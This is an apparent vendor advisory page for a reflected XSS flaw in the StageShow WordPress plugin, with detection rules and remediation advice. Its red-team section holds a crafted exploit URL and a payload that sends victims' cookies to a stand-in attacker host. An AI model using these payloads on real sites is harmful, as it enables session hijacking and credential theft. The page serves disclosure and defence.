CVE-2024-13705
Executive Summary
CVE-2024-13705 is a Reflected Cross-Site Scripting (XSS) vulnerability in the StageShow WordPress plugin, affecting all versions up to and including 9.8.6. The flaw resides in the improper sanitization of the remove_query_arg function call, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the victim's browser session. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch increases risk for unmaintained sites.
Deep Dive & Mechanics
The vulnerability occurs in the remove_query_arg function within the StageShow plugin. This function is used to clean URL parameters but fails to escape the resulting URL before outputting it in the page. An attacker can craft a malicious URL containing JavaScript payloads in query parameters. When a victim clicks the link, the plugin processes the URL and reflects the unsanitized payload back into the page, executing the script in the victim's browser context.
Root Cause: The remove_query_arg function returns a URL string that is directly echoed without proper escaping (e.g., esc_url() or htmlspecialchars()). This allows injection of arbitrary HTML/JavaScript.
Attack Vector: Reflected XSS via crafted URL. No authentication required.
Vulnerable vs. Patched Code
Vulnerable Code (<= 9.8.6):
// Example vulnerable usage
$clean_url = remove_query_arg( 'some_param', $current_url );
echo '<a href="' . $clean_url . '">Link</a>';
Patched Code (Hypothetical):
// Proper escaping
$clean_url = remove_query_arg( 'some_param', $current_url );
echo '<a href="' . esc_url( $clean_url ) . '">Link</a>';
The patch would involve wrapping the output of remove_query_arg with esc_url() to ensure all special characters are encoded.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with StageShow plugin <= 9.8.6
- Victim must be logged in or have a session
Exploit Steps:
- Identify a vulnerable endpoint that uses
remove_query_arg(e.g., admin page or public-facing page). - Craft a malicious URL:
http://target.com/wp-admin/admin.php?page=stageshow&<script>alert('XSS')</script> - Send the link to the victim via phishing email or social engineering.
- When clicked, the script executes in the victim's browser.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor web logs for unusual query parameters containing
<script>oronerrorattributes. - Use WAF rules to block reflected XSS patterns.
Hunting:
- Search for
remove_query_argusage in plugin files. - Check for unsanitized output of URL parameters.
Lab Setup:
- Install WordPress with StageShow 9.8.6 on a local server.
- Use a browser with developer tools to inspect reflected content.
Indicators of Compromise (IOCs)
- Network: HTTP requests with query strings containing
<script>,%3Cscript%3E, oronerror=in the URL. - Host: Log entries showing
remove_query_argcalls with unsanitized parameters. - File: Presence of malicious JavaScript in page source from reflected parameters.
Detection Engineering
YARA Rule
rule CVE_2024_13705_StageShow_XSS {
meta:
description = "Detects reflected XSS attempts targeting StageShow plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13705"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$plugin_path = /wp-content\/plugins\/stageshow/i
condition:
any of ($payload*) and $plugin_path
}
Sigma Rule
title: Reflected XSS via StageShow Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts targeting StageShow plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- 'onerror='
- '%3Cscript%3E'
condition: selection
falsepositives:
- Legitimate use of script tags in URL (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13705 StageShow Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/wp-content/plugins/stageshow/"; http_uri; pcre:"/(<script|onerror=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the StageShow plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Educate users not to click suspicious links.
Long-Term Fix:
- Apply vendor patch when released (currently UNKNOWN).
- Replace
remove_query_argusage withesc_url()in custom code. - Conduct code review for similar unsanitized output functions.
Workaround:
- Use a security plugin like Wordfence to add XSS protection.
- Restrict access to admin pages via IP whitelisting.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.